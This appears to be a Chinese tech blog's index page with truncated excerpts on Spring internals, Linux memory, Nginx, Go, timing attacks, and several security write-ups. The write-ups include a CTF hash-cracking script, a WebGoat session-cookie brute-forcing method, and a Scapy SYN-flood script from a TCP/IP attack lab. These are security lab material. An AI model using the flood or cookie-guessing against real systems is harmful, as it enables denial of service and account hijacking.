Spring源码:Bean的生命周期文件目录结构文件树、UserService实现类、启动类如下:
源码解析在AnnotationConfigApplicationContext中:
主要的Bean注册逻辑在refresh()函数中
进入到refresh()之后看到一系列的方法调用,秉着刨根问底和点到为止的原则。。。先把他们的作用给列出来,如果以后涉及到可以有个印象:
this.postProcessBeanFactory(beanFactory):该方法是 AbstractApplicationContext 提供的一个模板方法(Template Method),子类(如 AbstractRefreshableWebApplicationContext 或自定义的 ApplicationContext)可以重写它来自定义 BeanFactory 的后处理逻辑,比如注册额外的属性编辑器、添加某些特定的 BeanPostProcessor 等。
this.invokeBeanFactoryPostProcessors(beanFactory):执行所有实现了 BeanFac ...
Spring源码
未读Spring源码:解决循环依赖之三级缓存循环依赖问题循环依赖指两个或多个Bean相互依赖,形成闭环。例如:
123456789101112@Componentpublic class A { @Autowired private B b;}@Componentpublic class B { @Autowired private A a;}
Spring通过三级缓存解决单例Bean的属性注入循环依赖:
一级缓存(singletonObjects):存放完全初始化好的Bean。二级缓存(earlySingletonObjects):存放早期暴露的Bean(已实例化但未初始化)。三级缓存(singletonFactories):存放Bean工厂(ObjectFactory),用于生成早期Bean。
括号后面的其实就是在Spring具体实现三级缓存时用到的字段名称。
三级缓存的具体工作流程如下:
实例化A,将A的ObjectFactory放入三级缓存。
A注入B时,发现B未创建,开始实例化B。
B注入A时,从三级缓存获取A的 ...
Linux
未读Linux虚拟内存管理这一章节主要起源于我在了解epoll机制的时候涉及到了mmap,然后里面涉及到了文件映射与匿名映射区。这个区域是在用户态空间的内存中的一块区域,索性又复习了一下虚拟内存管理的知识。主要是参考bin大神的公众号的内容,花了一下午时间看了之后醍醐灌顶,整理了一下,便有此篇。
什么是虚拟地址以及为什么要使用虚拟地址bin大神做了一个类比,把虚拟地址类比成我们的收货地址。
全部页目录类比省份,上层页目录类比市等等,以此类推。这个全部页目录、上层页目录有点类似于mysql的索引,可以类比一下。
为什么要使用虚拟内存呢?原因是如果直接使用物理内存,我们需要程序员自己手动的去管理内存,而且自己处理冲突。
bin举了以下的例子:如果不使用虚拟内存,在我们的程序中有一个i变量, 如果我们运行三个程序,都使用这样一个代码,会发生什么呢?地址冲突
如果我们使用了虚拟内存,在每个进程中虚拟内存中的地址都为0x354,但是映射到物理内存之后就是完全不同的地址。也就是说在每个进程看来,它自己完全独占了整个内存。
进程虚拟内存空间代码段: 用于存放进程程序二进制文件中的机器指令
数据段和 ...
在java.security.MessageDigest.isEqual中有这样一个函数public static boolean isEqual(byte[] digesta, byte[] digestb),用来判断两个字节数组是否相等
我们关注的是这里的代码:对两个字节数组进行逐个字节的异或操作,并将结果保存在变量 result 中。如果这两个字节数组完全相等,最后的结果肯定是0
但为什么不这样写呢,这样不是一个更好的写法吗?
然后我们发现注释是:time-constant comparison,恒定时间比较!背后的原因就是如果采用后面的这种方面完成这个函数就会导致安全问题——定时攻击,他是属于侧信道攻击的一种。
攻击者会尝试输入axxxx、bxxx等密码,通过找到耗时最短的响应所对应的输入密码,则可穷举出一位。如此这般则会得到所有的密文。
所以为了防止这种攻击生效,需要穷尽所有位,这样攻击者就得不到密文之中的信息。
感兴趣的可以参考斯坦福大学在05年的一篇paper:Remote timing attacks are practical, 他就使用定时攻击从基于OpenS ...
Nginx 内存池内存池结构内存池中主要涉及结构体:
创建内存池程序首先会创建一个内存池,之后程序内需要使用内存时,会从内存池中分配内存。创建内存池的代码如下
1234567891011121314151617181920212223242526ngx_pool_t *ngx_create_pool(size_t size, ngx_log_t *log){ ngx_pool_t *p; p = ngx_memalign(NGX_POOL_ALIGNMENT, size, log); if (p == NULL) { return NULL; } p->d.last = (u_char *) p + sizeof(ngx_pool_t); p->d.end = (u_char *) p + size; p->d.next = NULL; p->d.failed = 0; size = size - sizeof(ngx_pool_t); p->max ...
网络空间安全技术信息安全概论第一部分解释网络空间安全
网络空间安全是关键信息基础设施保护(Critical Information Infrastructure Protection, CIIP) 的必要组成部分,同时,对关键基础设施服务的充分保护也有助于满足基础安全需求 (即关键基础设施的安全性、可靠性和可用性),进一步实现网络空间安全的目标。
第二部分信息安全及其基本目标信息本身的机密性、完整性和可用性的保持。
机密性:防止未经授权使用信息
完整性:防止对信息的非法修改和破坏
可用性:确保及时可靠地使用信息。
网络安全四大基础板块:
信息安全
应用安全
网络安全
因特网安全
信息安全风险管理第一部分S:网络空间安全资产的分类(能判断哪个是资产)
S:风险分析(WannaCry是由哪一个风险引起的)
C:什么是风险
C:风险评估的概念
第二部分资产以多种形式存在:
物理的、逻辑的
硬件的、软件的
有形的、无形的
静态的、动态的
技术的、管理的
注意资产的定义就行:资产是任何对组织有价值的东西,是要保护的对象。
脆弱性脆弱性本身并不对资产构成危害,但是在一定条件得到满足时,脆弱性会 ...
Golang: channelGo语言以他的原生支持高并发而闻名。一个经典的话就是:**Do not communicate by sharing memory; instead, share memory by communicating.**所以这篇就探索一下channel。
Goroutine(协程)它是一种轻量级的线程,不是操作系统的线程。与其他Go协程并发地运行在同一地址空间的函数。
这里暂且将他理解为一个轻量级的线程(因为他的栈大小每个线程不一样,相比于OS线程固定的2M来说,Goroutine一般为2KB,但是最大可以是1GB)
使用方法就是在函数前加上go这个关键字就好。
以下是知乎上对goroutine总结的三个陷阱(bak):
在golang中,goroutine是有三个主要的陷阱:
goroutine leaks
data race
incomplete work
对于1和3的情况:Never start a goroutine without knowing how it will stop.
对于2:Don’t communicate by ...
我就做一上午的时间,做了几个会的~
SimpleHash使用sha256单向散列,直接暴力破解,也没啥说的
12345678910111213141516171819202122232425262728293031323334353637383940import hashlibgiven_hashes = ["8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643","6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d","a25513c7e0f6eaa80a3337ee18081b9e2ed09e00af8531c8f7bb2542764027e7","6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d","e632b7095b0bf32c260fa4c539e9fd7 ...
A01:2021 – 权限控制失效Hijack a session开发自己的会话 ID 的应用程序开发人员经常忘记合并安全性所需的复杂性和随机性。如果特定于用户的会话 ID 不复杂且随机,则应用程序极易受到基于会话的暴力攻击。
我觉得这方面可以使用JWT或者类似JWT的思想来解决,在后端对得到的敏感Cookie信息进行验签等动作
先对网页进行抓包,发送到Repeater方便观察规律
发送两次请求
可以看到他们的hijack_cookie不同,中间相差一个4796638040248218963-xxxxx的Cookie,这也就是系统模拟的他人登录之后获得的Cookie,所以这个63就是我们需要进行劫持的对象。
同时通过观察看到最后几位数字17009253xxxxx是固定的,但是后面四位数字是随机的。所以我们可以写一个脚本进行爆破就行。即hijack_cookie=4796638040248218963-17009253xxxxx随机最后五位就行。
结果
Insecure Direct Object References
第一步按照提示输入账号密码就行。
点击按钮 ...
TCP/IP Attack LabTask 1: SYN Flooding Attack查看队列长度
sysctl net.ipv4.tcp_max_syn_backlog
Task 1.1: Launching the Attack Using Python编写攻击程序
12345678910111213141516#!/bin/env python3from scapy.all import IP, TCP, sendfrom ipaddress import IPv4Addressfrom random import getrandbitsip = IP(dst="10.9.0.5")tcp = TCP(dport=23, flags='S')pkt = ip/tcpwhile True: pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP pkt[TCP].sport = getrandbits(16) # source port pkt[T ...